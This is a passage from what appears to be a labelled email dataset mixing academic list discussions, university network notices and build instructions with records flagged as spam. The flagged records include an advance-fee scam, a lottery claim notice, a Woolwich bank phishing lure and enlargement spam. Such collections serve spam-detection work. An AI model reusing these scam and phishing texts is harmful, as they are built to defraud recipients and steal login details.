uriously this “in your face” type of evolution, which often kills or sickens people, has been largely omitted from the Creation/Evolution debate, even though it is a stunning repudiation of the Creationist nonsense. Recently a new example came to my attention, and I pass it on for your perusal. This sort of thing is puzzling because I cant recall anything analogous in Origins or in economics. What is going on here ? Can economists learn anything from it ? A recent study in the Annals of Internal Medicine points to the sudden appearance of aa new strain of treatment-resistant staph bacteria and suggests that it may be “the primary cause of skin infections outside the hospital.” The study recommends that healthcare personnel switch their treatment regime from penicillin to vancomycin . However, it also warns that strains of bacteria resistant to vancomycin are already emerging in hospitals ! [Business Week, O3 Apr O6, p. 113.] While [safely in the bosom of “the family”] we are daring to question Darwin, a recent issue of Science, the weekly of the American Association for the Advancement of Science, gives an example of still another alternative to Darwin’ s evolution, although it appears to be slow and incremental like his. [I hope that NSA doesn’t pass this on to the Rev. Pat Robertson.] Roughgarden et al [p. 965] have proposed a model of sexual selection based on cooperative-game theory [an invention of dissident economists] as an alternative to Darwin’s explanation which the authors claim, contradicts Origins ! Their hypothesis is that groups which succeed in cooperating may have greater fitness than those which fail to do so. [Science, 17 Feb 2006, p. 913. < www.sciencemag.org .] Cordially. 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I regard any cell as the smallest DNA-based molecular computer. I presented evidence in support of this notion [1]. >How the ""viewing as > computations"" helps to understand the nature? Please elaborate.. Because we can reproduce the shapes of leaves and shells, etc. in nautre, by executing simple programs on a computer. I think thre is something to Wolfram's Principle of Computational Equivalence [2]. >> If this analogy is valid, we may be justified to distinguish between two >> kinds of computers – the traditional computers based on solid-state >> transistors and future computers constructed on the basis of both >> solid-state semiconductors of electrons and what I began to call >> soft-state semiconductors of conformons (see [3] and my post dated March > > Well, in any computer currently known, any algorithm of handling data > (including logic and arithmetic) gets simulated by the *flow of > electrons* controlled by electric field applied at gates; the software, > after all, controls data flows and control flows implemented by > electrons. That, among many other things, explains the nanosecond-range > of elementary operations, that is, their (BOP- billion op. per sec) > speed. > Simulating the data/control flows by molecular movements, if > possible(!), would mean the huge ('zillions' times) slow-down of > elementary operations. Enzymes can ""switch"" on or off a chemical reaction in microsends, not too far from BOP of elementary operations in computers. In addition, Enzymes work in massively parallel manner, tens of thousands or more at a time. >A conformon, as a mol. conformation deformation, > if exists, is (1) a *slow* process and (2) difficult to *control* (no > charge) process . Conformon-driven processes can be fast as indicatd above, and no charge is required for controling conformons from outside. Conformons are generated, transmitted and utilized inside bipolymers mediated by Brownian motions. > ... >> above, and Reference [4]). Zeck and Fromherz [4] describe their version >> of SSH computer as follows: >> >> “A hybrid circuit of a semiconductor chip and synaptically >> connected neurons was implemented and characterized. >> Individual nerve cells from the snail Lymnaea stagnalis >> were immobilized on a silicon chip by microscopic picket >> fences of polyimide. The cells formed a network with > ... >> With all the best. >> Sung > As far as i know, the first publication on integration of cells > (chicken embryo heart) with microelectrode array (32 microelectrodes) > was in 1972 (in Experimental Cell Research), where a 5 ms precursor to > the heart collective oscillation (about 1Hz ""pulse"", that is, about 60 > beats a min) was discovered. The brain implants, as you know, get more > and more used to correct ""neural disorders"". There were proposals to > build an biological (neuronal) associative memory directly interfaced > with computer/silicon chip. I did not know that. > What makes you think that the concept of computations may help us in > better understanding biological and neural mechanism To understand life, according to Simpson, we need all the principles operating in nature, including that of computation uncovered by computer science.With all the best. Sung > Referecne: [1] Ji, S. (1999). The cell as the smallest DNA-based molecular computer. BioSystems 52:123-133. [2] Wolfram, S. (2002). A New Kind of Science. Wolfram Media, Inc., Champaign, p. 715. ",0,0 mary mike ,cs395t-mark@cs.utexas.edu,"Sat, 01 Apr 2006 04:31:26 +0200",Your Email.,"J'ai une nouvelle adresse mailVous pouvez maintenant m'écrire à : mrsmarymike2009@yahoo.fr Attn Mr/Mrs. Sir, I am Madam Mary Fred; I work with an oil servicing company name Halliburton,pipeline and process service. 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Just take a look at the computer models of >>> leaves on p. 402 in his book with the photographs of real leaves on >>> p. 403. I think everybody looking at these two sets of figures >>> would agree that the computer models show striking >>> species-resemblance to real leaves, although no single computer >>> model reproduces any of the real leaves exactly. In other words, >>> Wolfram's computer models of leaves and real leaves hexhibit a >>> species resemblance. > To me, looks like as an exercise in formal logic having little to do > with reality. If Wolframs programs have nothing to do with reality, how can you explain the fact that some of his programs can faithfully reproduce (within what I recently called 'species-resemblance"") the characteristic shapes of leaves and shells? > Like chess play: follow the simple rules applied many > times to the initial state and you get a ""very complex"" behavior which, > when properly encoded, will resemble a leaf structure. Indeed,any leaf > *is* an example of general tree structure; chess play complex > (multi-scale - tactics and strategies) dynamics may well be represented > as a tree structure. Meanwhile, nobody declares chess as new kind of > science(NKS). Why not? Just because chess playing was not regarded as science in the past (i.e., in the era of old science), it does not mean that we should exclude it from NKS. >My strong objection to S.Wolfram logic is that it does not > have any underlining physical, i.e. natural, process or object which > properties/behavior is to be simulated in the NKS. I agree that Wolfram's programs are artificial and passive, while natural processes are autonomous and self-organizing, dissipating requisite free energy. > [I proposed in my > last post how to introduce the reality into direct data-driven computer > modeling]. So, tome, the ""looks alike"" language is subjective and does > not help in underdatnding *in-depth* relationships and mechanisms. Perhaps we need both algorithmic and traditional mathematical approaches to obtain ""in-depth"" understanding of nature. Can we call it the ""hybrid"" approach? > >>> So, I diagree with Stan that computer models based on recursive >>> executions of sets of simple rules cannot capture the essential >>> characteristics of objects in nature. >> >> SS: How about, instead, 'essential patterns to be used for >> identification'? >> > Well, hopefully we undersdtand the *difference* between the geometry of > human figures captured on TV screen and real humans with their (meat) > structure and unique behavioral patterns. Is this yet another kind of > science? I think Peirce would call it simply ""semiotics"": figres on TV screes are iconic signs of real ""meaty"" humans. >>>> Maths and logics are conceptual machines. It is true that fuzzy > ... > Even more: ""Mathematical concepts are man-made just as ethics rules, > traffic rules and bird cages are man-made"" (Lesley A. White, 1954, In: > ""Mathematical World"") - so need to be taken in the proper context vs. > physical concepts directly abstracted from *reality*. Isn't it the case that certain parts of mathematics are also abstracted from reality? >>> point), simple discrete mathematical procdures recursively applied >>> to certain initial conditions can generate complex behaviors, a >>> discovery that allegedly motivated Wolfram to devote almost two >>> decades of his research career to constructing a new framework of >>> doing science, a 'new kind of science, as he calls it. Wolfram >>> describes his discovery thus: >>> >>> ""I did what is in a sense one of the most elementary imaginable >>> computer experiments: I took a sequecne of simple programs and then >>> systematically ran them to see how they behaved. An what I found >>> --to my grreat surprisesequencet despite programslicity of their >>> rules, the behavior of the programs was often far from simple. > Inverted pendulum (and double-suspended pendulum) display (after many > cycles) a highly complex behavior - ""far from simple""; nobody though > declares the mechanics of inverted pendulum as new kind of science.. Again, I don't see why we cannot include these examples as a part of NKS. Perhaps they were not recognized as such because the concept of NKS was not avaialbe until 2004. >> SS: Indeed, the prowess of computation is great. I myself was amazed >> to see what Boolean automata can do. But we need some caution on >> how we interpret these things. One thing I believe we did learn from >> programs was (chaos theory) that slight changes in initial conditions >> could bring about great changes later in a simulation. I believe >> that this did give us some insight into natural systems (although the >> notion of 'initial condition' in Nature is problematic). But this >> speaks to general principles, which is something less than Sung (or >> Wolfram?) seems to imply. > Exactly. The General principle is missing, a generic physical (reality) > infrastructure which needs to be imposed on S Wolfram CA dynamics to > make it - hopefully - having smth to do with reality and thus to be used > for predictions - as any model (simple or complex) based on physical > general principle(s). This is why I included Simpson and Elsasser in the expression, the ""Simpson-Elsasser-Wolfram framework"" for modeling biological systems. Simpson and Elsasser emphasized the importance of the principles of traditional science, while Wolfram focussed on the Principle of Computational Equivalence. We may say taht Simpson and Elsasser were concerned about CONTENT while Wolfram was focussed on METHODS. >>> ... >>> Based on what I understood from reading his book, I have formed the >>> opinion that it may be possible to model any objects and processes >>> in nature using Wolfram's cellular automata approach. This may be >>> the key idea behind what he calls ""principle of computational >>> equivalence (PCE)"", which, as I suggested in my earlier post, may > I totally disagree. ""New kind of chess play"" might be a great thing, > indeed, - within a certain domain of activities - but ""to model any > objects and processes in nature"" would be too much for chess play... > Please correct me if i'm wrong. I think algorithmic approach coupled with powerful computation, as distinct from traditional mathematical one, is the way to go in modeling and simulating complex strcutres and processes in nature, including living processes and systems. Sung __________________________________________ Sungchul Ji, Ph.D. Department of Pharmacology and Toxicology Rutgers University ",0,0 Harrell Sondra ,DMDX@psy1.psych.arizona.edu,"Sat, 01 Apr 2006 09:55:07 -0500",This needs to be tried,"be cyclic or saturater may shinto the naacp it stank ",1,0 ,,,Re: The Simpson-Elsasser-Wolfram framework for modeling the cell,"val wrote (>): >> The method employed by physicists in modeling the atom was essentially >> based on mathematics without relying on the computer, but the method >> that biologists will need to model the cell may turn out to be, not >> mathematics, but mainly logic- and computer-based. The purpose of this >> post is to discuss the theoretical rationale underlying this admittedly >> audacious proposition. My thinking along this line has been greatly >> influenced by the ideas and concepts advocated by the following three >> scientists -- the American paleontoligist G. Simpson (1902-1984), the >> German-American physicist-turned biolgist W. Elsasser (1904-1991), >> and the British-American physicist-turned computer scientist S. Wolfram >> (1959- ). >> Their ideas relevant to the presnt post are briefly summarized below: >> >> 1) G. Simpson: >> Physicists study the principles that apply to all phenomena: >> Biologists study phenomena to which all principles apply. > > i'm not sure there is any in-depth content behind that statement - which > ""all principles"" get applied to phenomena in biology? Table 1. A partial list of the principles, laws and concepts that is deemed essential in understanding the phenomenon of life. __________________________________________________________________________ Field Principles, Laws & Concepts __________________________________________________________________________ 1. Physics: relativity curved spacetime (leading to the metabolic spacetime of H. A. Smith and G. R. Welch; see pp. 282-323 in ""Molcular Theories of Cell Life and Death"", S. Ji, ed., Rutgers University Press, New Brunswick, 1991) thermodynamics energy, entropy statistical mechanics Brownian motions, microstates Gibbs free energy quantum mechanics electronic transitions, bond vibrations & bending, Bohrian complementarity, nonlocality nonlinear dynamnics deterministic chaos, fractals, attractors, sensitive dependence on initial conditions 2. Chemistry: molecular structures duality of covalent and noncovalent molecular interactions, conformation changes, H-bonding, structural complementarity chemical kinetics duality of kinetic and equilibrium controls, transition states, absolute rate theory, rate laws, rate constants, concentrations, activity 3. Biology: evolution (variation, interaction & seletion), genes, inheritance, tree of life 4. Cybernetics: law of requisite variety, feed back loops (positive & negative), machines, information 5. Computer science: principle of computational equivalence, recursion, programs, algorithms, computer architecture, celluar automata, massive parallel computing, analog vs. digital computing 6. Mathematics: mathematics of continuous vs. discrete processes, probability, differential and integral equaitons, combinatorics 7. Logic: triadic logic of Peirce 8. Linguistics: rule-governed creativity, double articulations, synchronicity vs. diachronicity, syntagmatic vs. paradigmatic relations 9. Metaphysics: Peircean categories of Firstness, Secondness and Thirdness, semiotics, signs, interpretants, objects, the universality of logic in both biotic and abiotic worlds (which may be deeply connected with Wolfram's principle of computational equivalence) ___________________________________________________________________________ >> 2) W. Elsasser: >> Physicists study objects that belong to pure classes to which >> mathematical methods can be applied; bilogists study objects that >> belong to heterogenous classeses to which logic, but not >> mathematics, can be applied. > > well, logic is certainly a part of math; I would say the other way around: Math is a part of logic. > what i see here is that > phenomena in biology are unique (""heterogeneous""), and traditional > generalizations in physics such as mass, velocity, momenta, energy, > rotational momenta, trajctories, etc obviously have little to do with > biological reality These all have roles to play in biology, both at the macroscopic and microscopic levels, which would fit the Sympsonian thesis described above. >and thus biology needs *application-specific* logic > directly related to the specific observations; though, a certain degree > of generalization takes place in biology as well - differentiation, > growth patterns, adaptation to the local env, patterns of behavior, > generational continuity of living matter, etc > > > > 3) S. Wolfram: > > All structures and phenomena, whether internal or external, > > can be modeled on the computer as fractals, namely, the > > structures and patterns that emerge as the consequences of > > iterating the application of sets of simple rules n times, where > > n can be a large number (10-1000?). > > > > With all the best. > > Sung > > Hmm.. All structures and phenomena? as fractals? as the consequence of > repeated application of simple rules?.. If not all as fractals, just as simple programs involving repeated application of select rules, leading to all kinds of structres an dprocesses, including fractals on occasion. >And where are the captured > cause-effect dependencies typical for real world - such as the applied > forces and trajectories (mechanics), or moving charges and fields > (electrodynamics), or particles-waves (quantum mechanics)? As I understand it, these are all the results of applying continuous mathematics to physcial processes. As such they must apply to living processes as necessary components (accoriding to the Simpson doctrine) but are not sufficient to account for life (according to Elsassser). > And how > ""simple rules"" repeated zillion times can reproduce hydrogen atom and > its dynamics? Never.. That would be the seventh wonder of the world.. This may be possible if we can transform quantum mechanical formalisms into algorithmic ones using finite sets of if-then rules. This is how I understand Wolfram's principle of computaitonal equivalence. > > Yet, your point about importance of *direct, computer-driven* > methods of analysis of cell dynamics sounds right to me. I'm going to > comment on that in my next post.. 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NOTE: IN ORDER TO AVOID UNNECESSARY DELAYS AND COMPLICATIONS, PLEASE REMEMBER TO QUOTE YOUR SECURITY FILE NUMBER, BATCH NUMBERS, YOUR FULL NAMES, TELEPHONE NUMBER, FAX NUMBER AND ADDRESS IN ALL CORRESPONDENCE WITH YOUR CLAIM AGENT. FURTHERMORE, SHOULD THERE BE ANY CHANGE OF YOUR ADDRESS, DO INFORM YOUR CLAIM AGENT AS SOON AS POSSIBLE. CONGRATULATIONS ONCE AGAIN FROM ALL MEMBERS OF OUR STAFF AND THANK YOU FOR BEING PART OF OUR PROMOTIONAL PROGRAMME. NOTE: ANYBODY UNDER THE AGE OF 18 IS AUTOMATICALLY DISQUALIFIED. YOURS SINCERELY, DR. STEFANIA DER HELDER, (PROMOTION MANAGER). ",1,0 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Sun, 02 Apr 2006 22:34:20 -0500",Office hours this week,"Hi CS352-ers, I will be holding office hours from 3:30-4:30PM on Monday, April 03,2006. I will be resuming my regular office hour schedule from Tuesday. Sorry for the inconvenience. Thanks. Madhavi ",0,0 Shane Lindsay ,DMDX@psy1.psych.arizona.edu,"Mon, 03 Apr 2006 11:50:41 +0100",[DMDX] Re: input device name for sidewinder gamepad,"The answer to my question: >I am using the id selection command in the right way? Was no - I wasn't using quotes. Problem is fixed now, thank you. On 3/16/06, j.c.f. wrote: > > At 11:41 AM 3/16/2006 +0000, you wrote: > >I have used the text in round brackets. I even copied and pasted the > exact > >text from the diagnostics file into the dmdx rtf file, but for both > >devices I tried it comes up with device id failed with the first word of > >the input device name. > > > Hmm, so show us the diagnostics of the failure. Then we'll get to see > what DMDX's interpretation of what the input device name you put in the > item file is and what the available devices are. I don't suppose you > haven't put quotes around the name? Names with spaces in them almost > always need quotes around them. > > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > The moving cursor writes, and having written, blinks on. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 ,,,Re: can a sequence of events also be considered a hierarchy?,"Stan, thank you for your reply! The firing intensity of nodes refers to a characteristic of the nodes. Now suppose we just look at a causal sequence of linked nodes. Is it possible for such a temporal sequence to be a hierarchy on basis of the causal sequence? For example, a system consists of inputs, processes, and outputs. This is a temporal sequence since they are linked in a causal manner. On the one hand, you could argue that there is a hierarchy because you NEED inputs before processes and therefore processes are higher in hierarchy than inputs. On the other hand, it is not so obvious that one is higher in hierarchy than another, which suggests this sequence of events is not a hierarchy. Therefore, could you say that processes are higher in hierarchy than inputs and outputs are higher in hierarchy than processes? Or is this simply a temporal sequence that has nothing to do with a hierarchy? Martin (Stanley N. Salthe) wrote: >Replying to Martin - As a hierarchy theorist, I would say, 'yes'. So, for >example suppose you have a network of nodes that communicate, where the >nodes can 'fire' at, say, three different intensities, depending upon how >many simultanous inputs they are receiving. The lowest intensity would be >firing quite frequently, the next less often, and the highest frequency >would be firing quite infrequently. This could be described as a temporal >hierarchy of connectivities. >On the question of scale, this would depend upon whether the firing >intensities of the nodes were separated sufficiently so that the different >connectivity levels did not interfere with each other, or would not be >confused by an observer. > >STAN > >>I was wondering: can a sequence of events - for example the input, >>process and output of an activity - also be considered a (temporal) >>hierarchy? >> >>Can such a sequence of events be considered a temporal scale? >> >> >>-------------------------------------------------- >>For information about this discussion group visit >>http://necsi.org/discuss/discuss.html >> > > > > >-------------------------------------------------- >For information about this discussion group visit >http://necsi.org/discuss/discuss.html > ",0,1 Woolwich Bank ,cs395t-mark@cs.utexas.edu,"Mon, 03 Apr 2006 04:17:23 -0700",Update Your Login Information,"Woolwich Web Bank Update Your Login Information                   Dear Woolwich customer,      As part of our security measures, we are constantly working to ensure security by regularly screening the accounts in our system. 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Registered in England.                 Registered No: 1026167. Registered Office: 1 Churchill Place, London E14 5HP.",1,1 Network Operations Center ,NET_PEOPLE@EMAIL.RUTGERS.EDU,"Mon, 03 Apr 2006 12:00:06 -0400","Network Maintenance - Tuesday, 04/04/2006","Network Maintenance - Tuesday, 04/04/2006 ID: 1341 Description: Device Upgrade - Hill Center Disruption: Outage Campus: Busch Start Date: 04/03/2006 1700 End Date: 04/03/2006 1800 Summary: Network Operations will replace the ar01-hill012-hill device. At this time, no network connectivity will be available to networks and services connected through the ar01-hill012-hill device. Services affected will include but are not limited to: TD VOIP NETDB Services Oracle TD Tools & Web Services Affected: ar01-hill012-hill Type: Emergency ---- ID: 1336 Description: Device Upgrades - T1 Connected & Remote Sites Disruption: Outage Campus: CAC Start Date: 04/04/2006 0700 End Date: 04/04/2006 0800 Summary: TD Network Operations will upgrade the Operating System of routers ar01-early-alex, ar01-trans-alex,ar01-ryders-alex, ar01-disaster-alex,ar01-61nic-alex. No connectivity will be available to remote networks uplinked through the above routers. Affected areas include Transport Authority(120 Albany St), 102 Ryders Lane, Career Services (61 Nichols Ave), Center for Women & Work (391 George St), and National Institute of Early Education (303 George St). Affected: ar01-earlyed-alex ar01-trans-alex ar01-ryders-alex ar01-disaster-alex Type: Scheduled ---- ID: 1338 Description: Configuration Change - Camden CORE Disruption: Transparent Campus: Camden Start Date: 04/04/2006 0700 End Date: 04/04/2006 0800 Summary: TD Network Operations will update the configuration of the Camden Core devices. No outages are expected as a result of this work. Affected: cr01-armi-armi, lr01-asb2-asb, cr01-asb Type: Scheduled ---- ID: 1339 Description: OS Upgrade - Old Gibbons Housing Disruption: Outage Campus: Douglass Start Date: 04/04/2006 0700 End Date: 04/04/2006 0730 Summary: Network Operations will upgrade the OS on as01-og26-dlib abd as01-og32-dlib. A brief disruption in network connectivity will occur for areas of Old Gibbons. Affected: as01-og26-dlib, as01-og32-dlib Type: Scheduled ---- If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. 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If so forget about it. Check it here at http://www.stearedmetowardsiw.com/taw/. Patient. committed flies They suicide. Walt always get Whitman everywhere into wrote, Two trouble Hope is was of some help Rickie. ",1,1 Network Operations Center ,NET_PEOPLE@EMAIL.RUTGERS.EDU,"Mon, 03 Apr 2006 14:18:36 -0400",Emergency Maintenance - Configuration Update - Extranet - 04/04/2006 0730,"ID: 1344 Description: Configuration Update - Extranet Disruption: Transparent Campus: Core Systems & Services Start Date: 04/04/2006 0730 End Date: 04/04/2006 0830 Summary: Network Operations will update the extranet device configurations. No disruptions are expected as a result of this work. Affected: sr02-hill012-svcs sr01-alex-svcs er01-hill-ext er01-alex-ext er01-hilh-ext fw01-hill012-svcs Type: Emergency ---- If you have any questions or comments concerning this announcement, please contact the TD-Network Operations Center at 732-445-7541 or at noc@rutgers.edu. Additional information, new issues, and maintenance schedules may be found at- http://www-td.rutgers.edu/tools/Network_Status Thank you for your attention. TD-Network Operations Center ",0,1 """Jeannette M. Wing"" ",Frank Pfenning ,"Mon, 03 Apr 2006 11:20:15 -0400",Re: US News & World Report Ranking ,"Dear Frank, I've attached the rankings for bio and the speciality on neuroscience/neurobiology. These are all the specialities: [] Biochemistry/Biophysics/Structural Biology [] Cell Biology [] Ecology/Evolutionary Biology [] Genetics/Genomics/Bioinformatics [] Immunology/Infectious Disease [] Microbiology [] Molecular Biology [] Neuroscience/Neurobiology I'd be happy to show you more after I get back in town. Jeannette",0,1 Joe Picone ,ies_ifc@CAVS.MsState.Edu,"Mon, 03 Apr 2006 13:28:32 -0500",ies_tips: Re: ies_ifc: Instructions using purify,"Please make a web page with this information and store it in the appropriate place. Daniel: Please advise them on this. -Joe >>> ""Seungchan Lee"" 04/03/06 9:07 AM >>> I resolved compilation problem with purify. This is due to sphere utility in our system. I also saw some memory problem in our IFC class. This need to be fixed with purify. So, if anyone who want to use puriry, it need to recompile repository without sphere. Here are instructions for compiling repository and compiling utility program with purify. First, instructions for compiling repository. Recently, we have many changes in our IFC classes. So, when doing this we will meet several problems. cd $ISIP_DEVEL cvs co -p -d tools . cd tools ./configure --with-audiofile=/cavs/hse/ies/isip/common/local/audiofile --with-communicator=/cavs/hse/ies/isip/common/local/communicator --with-communicator-include=/cavs/hse/ies/isip/common/local/communicator/include --with-communicator-libdir=/cavs/hse/ies/isip/common/local/communicator/lib/x86-linux --with-sctk=/cavs/hse/ies/isip/common/local/sctk [ Do not include sphere utility. I removed it above configure command] [ MAKE SURE THE SPACING AND ALL OTHER DETAILS ARE CORRECT] MODIFY ISIP_BASE_ENV.sh file [ copy and paste the followings and remove the existing EXTRA_LIBS and EXTRA_INCLUDE in your ISIP_ENV_BASE.sh EXTRA_LIBS=""-L/cavs/hse/ies/isip/common/local/audiofile/lib -laudiofile -L/cavs/hse/ies/isip/common/local/communicator/lib/x86-linux -lGalaxy -L -L/cavs/hse/ies/isip/users/wholland/research/expat-1.95.8/lib -lexpat ""; EXTRA_INCLUDE=""-I/cavs/hse/ies/isip/common/local/audiofile/include -I/cavs/hse/ies/isip/common/local/communicator/include -I/cavs/hse/ies/isip/users/wholland/research/expat-1.95.8/include -I ""; ] source ISIP_BASE_ENV.sh make depend make install [ if you want debug mode, make DEBUG=-g OPTIMIZE= install , but it is recommanded this option in your /var/tmp directory] And, the following is for using purify. export ISIP_CPLUS_COMPILER=""purify -cache-dir=$HOME/cache g++"" make depend make install [ if you want using purity in debug mode, follow debug mode compilation] And, it takes about one hour to compile utility program with purify. Until now, I summarized using purify. If further questions or any problem with purify, please let me know. -Seungchan",0,0 Seungchan Lee ,"ies_ifc@CAVS.MsState.Edu, Joe Picone ","Mon, 03 Apr 2006 13:42:20 -0500",ies_tips: Re: ies_ifc: Instructions using purify,"Okay, I will do that. Daniel, where do I put this instruction in web pages? -Seungchan >>> ""Joe Picone"" 4/3/2006 1:28 PM >>> Please make a web page with this information and store it in the appropriate place. Daniel: Please advise them on this. -Joe >>> ""Seungchan Lee"" 04/03/06 9:07 AM >>> I resolved compilation problem with purify. This is due to sphere utility in our system. I also saw some memory problem in our IFC class. This need to be fixed with purify. So, if anyone who want to use puriry, it need to recompile repository without sphere. Here are instructions for compiling repository and compiling utility program with purify. First, instructions for compiling repository. Recently, we have many changes in our IFC classes. So, when doing this we will meet several problems. cd $ISIP_DEVEL cvs co -p -d tools . cd tools ./configure --with-audiofile=/cavs/hse/ies/isip/common/local/audiofile --with-communicator=/cavs/hse/ies/isip/common/local/communicator --with-communicator-include=/cavs/hse/ies/isip/common/local/communicator/include --with-communicator-libdir=/cavs/hse/ies/isip/common/local/communicator/lib/x86-linux --with-sctk=/cavs/hse/ies/isip/common/local/sctk [ Do not include sphere utility. I removed it above configure command] [ MAKE SURE THE SPACING AND ALL OTHER DETAILS ARE CORRECT] MODIFY ISIP_BASE_ENV.sh file [ copy and paste the followings and remove the existing EXTRA_LIBS and EXTRA_INCLUDE in your ISIP_ENV_BASE.sh EXTRA_LIBS=""-L/cavs/hse/ies/isip/common/local/audiofile/lib -laudiofile -L/cavs/hse/ies/isip/common/local/communicator/lib/x86-linux -lGalaxy -L -L/cavs/hse/ies/isip/users/wholland/research/expat-1.95.8/lib -lexpat ""; EXTRA_INCLUDE=""-I/cavs/hse/ies/isip/common/local/audiofile/include -I/cavs/hse/ies/isip/common/local/communicator/include -I/cavs/hse/ies/isip/users/wholland/research/expat-1.95.8/include -I ""; ] source ISIP_BASE_ENV.sh make depend make install [ if you want debug mode, make DEBUG=-g OPTIMIZE= install , but it is recommanded this option in your /var/tmp directory] And, the following is for using purify. export ISIP_CPLUS_COMPILER=""purify -cache-dir=$HOME/cache g++"" make depend make install [ if you want using purity in debug mode, follow debug mode compilation] And, it takes about one hour to compile utility program with purify. Until now, I summarized using purify. If further questions or any problem with purify, please let me know. -Seungchan",0,0 Daniel May ,"ies_ifc@CAVS.MsState.Edu, Joe Picone ","Mon, 03 Apr 2006 15:02:27 -0500",ies_tips: Re: ies_ifc: Instructions using purify,"I'm thinking this should go under Speech->Tutorials->General. http://www.cavs.msstate.edu/hse/ies/projects/speech/software/tutorials/general/index.html It should not only explain how to build the IFCs with purify, but also how to use purify to identify memory problems. We should include an example or two of an IFC program with memory problems, and one with the problems corrected. The tutorial should include step-by-step instructions with commands and output (similar to the IFC tutorials) to show how purify was used to locate the problem. Seunchan, do you feel comfortable enough with Purify that you could put something like this together quickly? This would be beneficial for the entire group. -Daniel ",0,1 Kieth Terrell ,economicsbb@columbia.edu,"Mon, 03 Apr 2006 15:06:24 -0500",Purchase Confirmation,"-Se`nsattional revolution in m`eedicine! -Enlarge your p`enis up to 10 cm or up to 4 inches! -It's h`erbal sol`ution what hasn't side effect, but has 100% gua`ranteeed results! -Don`'t loose your chance and but know wiht`out doubts,, you will be i`mpressed with results!!!! Clic`k h`ere: http://sensationalsize.org ",1,1 ,,,temporal hierarchies,"Stan wrote(>): > Replying to Martin - As a hierarchy theorist, I would say, 'yes'. So, > for example suppose you have a network of nodes that communicate, where >the nodes can 'fire' at, say, three different intensities, depending upon >how many simultaneous inputs they are receiving. The lowest intensity >would be firing quite frequently, the next less often, and the highest >frequency would be firing quite infrequently. This could be described as >a temporal hierarchy of connectivities. > On the question of scale, this would depend upon whether the firing > intensities of the nodes were separated sufficiently so that the different > connectivity levels did not interfere with each other, or would not be > confused by an observer. > >>I was wondering: can a sequence of events - for example the input, >>process and output of an activity - also be considered a (temporal) >>hierarchy? >>Can such a sequence of events be considered a temporal scale? What I have in mind may be also considered a ""temporal hierarchy"", which may be related to what Stan described above. A hierarchy to me means a kind of a ""tree"" consisting of a set of bifurcations. A bifurcation can be represented as a node connected to two other nodes. The simplest hierarchy is a set of n bifurcations, where n = 1 or greater. When n=1, we have what may be called the 'unit bifurcation"". A unit bifurcation consists of three nodes connected thus: 1-2-3. When 1 and 3 are events whose simultaneous occurrences (within a very short time range, say, mseconds) leads to (or causes) event 2, we may be dealing with what may be called the ""unit temporal bifurcation (UTB)"". This is equivalent to viewing 2 as a ""coincidence detector"" or a ""coincidence detecting event (CDE)"". We can easily imagine a system of two or more CDEs coupled in such a manner as to form a tree, which may be identified with a ""temporal hierarchy"": 2 2^0 / \\ / \\ 1 3 2^1 / \\ / \\ / \\ / \\ 4 5 6 7 2^2 / \\ / \\ 8 9 10 11 12 13 14 2^3 / \\ / \\ 15 16 17 18 19 20 21 22 23 . . . 2^4 Figure 1. A temporal hierarchy consisting of a set of coincidence-detecting events (CDEs) (represented by nodes), each constructed from a et of three nodes, 1-2-3, where the simultaneous occurrence of events 1 and 3 leads to (or causes) events 2. If a temporal hierarchy consists of n levels (e.g., level 1 containing nodes 1 and 3; levels 2 containing nodes 4, 5, 6 & 7; etc.), the nodes at the highest level (e.g., 16, 17, 18, etc at level 4 in Figure 1) may be referred to as the zero^th order CDEs; the nodes at the (n – 1)^th level as the 1st order-CDEs, etc. The higher the order of a CDE, the smaller would be the probability of its occurrence in nature in general, unless promoted by some devices driven by dissipation of free energy. Thus we can recognize two kinds of CDEs – the passive and active CDEs. The temporal hierarchy (TH) built from passive CDEs may be called passive TH and that build up of active CDEs as active TH. It seems reasonable to assume that living systems are examples of active THs and passive THs belong to abiotic systems. The idea that living systems embody active THs seems to be supported by both theoretical and experimental evidence: (1) Enzymes are active coincidence detectors in that the simultaneous localization of four or more catalytic residues at the active site of an enzyme at the transition state, driven by the free energy of substrate binding, leads to catalysis (see Figure 10 in [1]). (2) Bacteria can act as coincidence detectors [2]. (3) Neurons of the visual cortex, auditory cortex, somatosensory cortex, hippocampus, the frontal cortex, and odor sensors act as coincidence detectors [3,4]. (4) The cerebral cortex responsible for consciousness may be a coincidence detectors of neuronal firings [5]. The spatial structures of living systems (e.g., DNA double helix, 3D X-ray structures of enzymes and biochemicals, etc.) that have been the focus of research for over a century now may be a necessary condition but not sufficient one to account for life. The missing link may be what may be called “temporal structures”, which may act as the sufficient condition for life. In other words, spatial structures can lead to life if and only if they can support temporal structures or active temporal hierarchies. In this context, the biological evolution may be viewed as the emergence of active temporal hierarchies from passive temporal hierarchies through the input of free energy: Free Energy Passive Temporal Hierarchies ------------> Active Temporal Hierarchies Figure 2. The biological evolution as the emergence of active temporal hierarchies from passive temporal hierarchies (supported by spatial strcutures)driven by free energy dissipation. With all the best. Sung _________________________ Sungchul Ji, Ph.D. Rutgers University Piscataway, N.J. 08855 References: [1] Ji, S. (1974). Energy and Negentropy in Enzymic Catalysis. Ann. N.Y. Acad. Sci. 227:419-437. [2] Mok, K. C., Wingreen, N. SD., and Bassler, B. L. (2003). Vibrio harveyi quorum sensing: a coincidence detector for two autoinducers controls gene expression. The EMBO Journal 22:870-881. [3] Nase, G., Singer, W., Monyer, H., and Engel, A. K. (2003). Features of Neuronal Synchrony in Mouse Visual Cortex. J. Neurophysiol. 90:1115-1123. [4] P. Konig, A.K. Engel, and W. Singer. Integrator or coincidence detector? The role of the cortical neuron revisited. Trends Neurosci., 19:130--137, 1996. [5] Swindale, N. V. (2003). Neural Synchrony, Axonal Path Lenghts, and General Anesthesia: A Hypothesis. The Neuroscientist 9(6):440-445. ",0,0 """Michael A. Daley"" ",NET_PEOPLE@EMAIL.RUTGERS.EDU,"Mon, 03 Apr 2006 22:47:38 +0000","Re: Network Maintenance - Monday, 04/03/2006"," The scheduled outage of ar01-hill012-hill was 